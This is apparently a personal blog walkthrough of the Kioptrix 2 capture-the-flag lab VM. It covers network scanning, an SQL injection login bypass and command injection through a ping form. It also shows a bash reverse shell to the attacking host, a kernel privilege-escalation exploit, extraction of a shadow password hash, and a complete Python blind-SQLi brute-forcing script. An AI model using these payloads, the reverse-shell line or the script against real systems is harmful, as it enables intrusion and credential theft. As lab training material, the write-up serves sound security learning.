Introduction
So Kioptrix 2 is the second installment of the Kioptrix series of boot2root boxes on vulnhub. I couldn’t get the first box to run unfortunately. Maybe I’ll get back to it at some point.
Mapping
Let’s start off by finding the box on our local network
root@kali:~# netdiscover -i eth0
Currently scanning: 172.16.236.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:00 1 60 Unknown vendor
192.168.56.100 08:00:27:d3:ad:d5 1 60 PCS Systemtechnik GmbH
192.168.56.101 08:00:27:dd:b9:b7 1 60 PCS Systemtechnik GmbH
So 192.168.56.1
is my laptop and 192.168.56.100
is the vbox router, so Kio is at 192.168.56.101
. Let’s check out any external running services on the box.
root@kali:~# nmap -sV 192.168.56.101
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-14 10:39 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.101
Host is up (0.00045s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 08:00:27:DD:B9:B7 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds
Alright alright. Looks like we have a webserver running on 80/443
. Checking out the home page it looks like a login screen.
After trying a couple of default cred attempts, I decided to try some SQLi. Using Burp I intercepted a login attempt and sent it to intruder with the injection list at /usr/share/wordlists/wfuzz/Injections/SQL.txt
. One of the hits appeared to be:
' or 0=0 #
We perform the injection and arrive at an administrator console.
Let’s see what happens when we try an address on the network
Alright, what about command injection? Looks like the straight output of a ping command
Nice. So I tried to throw a reverse shell, but it failed. Let’s do a little mapping through the injection to see what’s going on and maybe get some intel from the box.
ping 192.168.56.102; which nc
...[redacted ping info]...
Aha, so it looks like we don’t have netcat installed on this box. That’s okay, we have some other rev shell options.
ping 192.168.56.102; which cat
...[redacted ping info]...
/bin/cat
Alright we have cat. Let’s map some users
/bin/cat /etc/passwd
192.168.56.102; /bin/cat /etc/passwd
PING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
From 192.168.56.101 icmp_seq=0 Destination Host Unreachable
From 192.168.56.101 icmp_seq=1 Destination Host Unreachable
From 192.168.56.101 icmp_seq=2 Destination Host Unreachable
--- 192.168.56.102 ping statistics ---
3 packets transmitted, 0 received, +3 errors, 100% packet loss, time 1999ms
, pipe 4
root:x:0:0:root:/root:/bin/bash
[...snip...]
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash
Okay, so we have root
, john
, and harold
users. Before I hop on the box, I wanted to see what kind of data I could grab from the SQLi. Our injection is blind, so I wrote up a script that is at the bottom of the post to check different queries from our injection (sidenote: I always forget MySQL string indexing is 1-based…). Here is some compiled exfil’d data from the injection.
coastals-MacBook-Pro:kio2 coastal$ python3 blind_sqli.py "user()"
[+] Bruted value of user(): john@localhost
[+] Bruted value of version(): 4.1.22
[+] Bruted value of database(): webapp
[+] Bruted value of uuid(): 00ed34e4e40?a824?10035?81ee?0080000273f72eb
Unfortunately, I couldn’t get any database schema information. It seems that either it was blocked from accession or I had an issue with my syntax that I couldn’t debug. It appeared that I couldn’t get any data from a nested select
query which limited me to the stock fields and built-in functions. Anyways, we’ve figured out that john
is running the webapp’s db, named webapp
. Now that it seems we’ve exhausted that approach, let’s grab a shell and look around a little more.
192.168.56.102; /bin/bash -i >& /dev/tcp/192.168.56.102/4444 0>&1
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.56.101: inverse host lookup failed: Unknown host
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 32771
bash: no job control in this shell
bash-3.00$ whoami
apache
bash-3.00$
Alright we get an apache shell. After looking around for configuration files, enumerating services and suid files, and checking for default creds, it looked like we were going to have to go with a kernel privilege escalation exploit (as our kernel is super old). I tried two exploits, the ip_append_data()
and sock_sendpage()
exploits (links below).
Both of the sources were grabbed with wget
from a python -m SimpleHTTPServer 1337
hosted on the attacking box. I couldn’t get the ip_append_data()
exploit to work, although looking at other writeups it seems like people were able to use that privesc. I’m not sure my C skills are good enough to debug the issue, but maybe I’ll take a crack at it in the future. Fortunately, the sock_sendpage()
exploit worked for me.
bash-3.00$ gcc -Wall -o sendpage sendpage.c
bash-3.00$ ./sendpage
And we’ve pwn’d the box!
Post-mortem
Using the new root privileges, I grabbed /etc/shadow
and exfil’d the data for hash-cracking. The idea being that once I have john’s creds I can login to mysql and grab everyone elses passwords from the database.
passwords.txt
john:x:500:500::/home/john:/bin/bash
shadow.txt
john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:14525:0:99999:7:::
unshadow passwords.txt shadow.txt > cracked.txt
john cracked.txt
I haven’t performed this yet, as my laptop is a little slow for hash-cracking but it can be left as an exercise to the reader ;)
-coastal
blind_sqli.py
import sys
import requests
chars = "abcdefghijklmnopqrstuvwxyz01234567890.()<>*^%$@!"
target = "192.168.56.101"
url = "http://192.168.56.101/index.php"
port = 80
fail_string = "Remote System"
def injection_assembler(injection):
return url
def brute_force_field_value(field):
result = ""
length_of_field = get_field_length(field)
for x in range(1, length_of_field + 1):
print ("[*] Injecting for character in position {}".format(x))
for char in chars:
#print ("[*] Trying char {}".format(char))
# ' or 1=1 && substring("test",1,1)=char(116) #
injection = """' or 1=1 && substring({},{},1)=char({}) #""".format(field, x, ord(char))
post_data = {
"uname": injection,
"psw": "test"
}
r = requests.request("POST", url=url, data=post_data)
if injection_success(r):
print ("\t[+] Found character {}: {}".format(x, char))
result += char
print ("[+] Bruted value of {}: {}".format(field, result))
def get_field_length(field):
for x in range(0, 200):
#' or 1=1 && char_length("test")=4 #
injection = """' or 1=1 && char_length({})={} #""".format(field, x)
post_data = {
"uname": injection,
"psw": "test"
}
r = requests.request("POST", url=url, data=post_data)
if injection_success(r):
print("[+] Length of field is {} characters".format(x))
return x
raise Exception("[-] Couldn't determine field length. Exiting.")
def injection_success(inj_response):
if fail_string in inj_response.text:
return False
else:
return True
def main():
if len(sys.argv) > 1:
field_to_brute = sys.argv[1]
brute_force_field_value(field_to_brute)
else:
print("usage: python blind_sqli.py \"(field_to_brute)\"" \
"\nexample:\tpython blind_sqli.py \"version()\"")
if __name__ == "__main__":
main()